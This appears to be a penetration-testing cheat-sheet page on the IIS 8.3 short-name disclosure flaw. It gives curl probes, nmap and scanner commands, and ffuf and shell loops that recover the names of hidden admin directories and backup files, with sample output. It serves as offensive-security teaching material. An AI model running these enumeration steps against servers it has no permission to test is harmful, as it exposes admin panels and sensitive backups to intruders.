Skip to content
HackIndex logo

HackIndex

IIS 8.3 Short Name Disclosure

3 min read Mar 30, 2026

IIS on Windows exposes 8.3 short filenames through HTTP response code differences when path segments contain a tilde character. A request to /ADMINI~1/ returns a different response than /ZZZZZZ~1/ when the directory exists — regardless of whether directory listing is disabled. This reveals file and directory name prefixes (up to 6 characters) without any authentication. Use discovered prefixes to seed targeted content bruteforce against the full names.

Manual Probe — Confirm Vulnerability

The vulnerability is present when a valid short name prefix returns a different response than a clearly invalid one. Compare the responses:

┌──(kali㉿kali)-[~]
└─$ curl -skI "http://$TARGET_IP/ZZZZZZ~1/" | grep HTTP 
HTTP/1.1 404 Not Found
┌──(kali㉿kali)-[~]
└─$ curl -skI "http://$TARGET_IP/ASPNET~1/" | grep HTTP 
HTTP/1.1 403 Forbidden

A 403 Forbidden for ASPNET~1 versus 404 for ZZZZZZ~1 confirms the vulnerability — the server is distinguishing between existing and non-existing 8.3 paths. A 400 Bad Request on tilde paths means the server is patched or the feature is disabled.

Automated Scan — nmap NSE

┌──(kali㉿kali)-[~]
└─$ nmap -p 80,443 --script http-iis-short-name-brute $TARGET_IP 
| http-iis-short-name-brute:
|   Found 4 short names
|   ADMINI~1 (directory)
|   ASPNET~1 (directory)
|   UPLOAD~1 (directory)
|_  BACKUP~1.ZIP (file)
Explain command
-p 80,443 Scan only ports 80 and 443.
--script http-iis-short-name-brute Run NSE script to brute-force IIS 8.3 short file/folder names.
$TARGET_IP Target host IP address variable.

Automated Scan — IIS-ShortName-Scanner

More thorough than the nmap script. Requires Java:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/irsdl/IIS-ShortName-Scanner.git && cd IIS-ShortName-Scanner/release
Explain command
https://github.com/irsdl/IIS-ShortName-Scanner.git URL of the remote Git repository to clone locally.
┌──(kali㉿kali)-[~]
└─$ java -jar iis_shortname_scanner.jar 2 20 http://$TARGET_IP/ 
[+] Directory: ADMINI~1
[+] Directory: ASPNET~1
[+] Directory: UPLOAD~1
[+] File: BACKUP~1.ZIP
[+] File: WEBCON~1.BAK
┌──(kali㉿kali)-[~]
└─$ java -jar iis_shortname_scanner.jar 2 20 https://$DOMAIN/
Explain command
-jar Executes the specified JAR file as the main application.
iis_shortname_scanner.jar JAR tool that scans IIS servers for 8.3 shortname vulnerabilities.
2 Thread count or scan mode level passed as first positional argument.
20 Maximum number of requests or retries passed as second positional argument.
https://$DOMAIN/ Target URL with placeholder domain to scan for IIS shortname disclosure.

Expand Prefixes to Full Names

Use the discovered 6-character prefixes to generate candidate full names and brute force the actual paths:

┌──(kali㉿kali)-[~]
└─$ # Generate candidates from discovered prefix ADMINI~1
┌──(kali㉿kali)-[~]
└─$ grep -i '^admini' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt | head -20 
administrator
administration
admin_interface
administrators
┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://$TARGET_IP/FUZZ -mc 200,301,302,403 -ic | grep -iE '^admini' 
administrator           [Status: 302, Size: 0]
Explain command
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt Specifies the wordlist file to use for fuzzing.
-u http://$TARGET_IP/FUZZ Target URL with FUZZ keyword as the injection point.
$TARGET_IP Placeholder for the target host IP address.
-mc 200,301,302,403 Match only responses with these HTTP status codes.
-ic Ignore wordlist comments (lines starting with #).
grep -iE '^admini' Filter output to lines starting with 'admini' (case-insensitive, regex).

ADMINI~1 resolving to /administrator/ confirms the admin panel path. For file prefixes like BACKUP~1.ZIP, test common suffixes:

┌──(kali㉿kali)-[~]
└─$ for name in backup backup_2024 backup_old backupsite backup_www; do code=$(curl -skI http://$TARGET_IP/$name.zip | grep HTTP | awk '{print $2}'); echo "$code /$name.zip"; done 
404 /backup.zip
200 /backup_2024.zip
404 /backup_old.zip

File Extension Targeting

When a file prefix is found, enumerate IIS-specific extensions against it:

┌──(kali㉿kali)-[~]
└─$ for ext in aspx asp ashx asmx config bak old zip txt xml; do code=$(curl -skI http://$TARGET_IP/webcon.$ext | grep HTTP | awk '{print $2}'); echo "$code /webcon.$ext"; done 
200 /webcon.bak
404 /webcon.aspx

References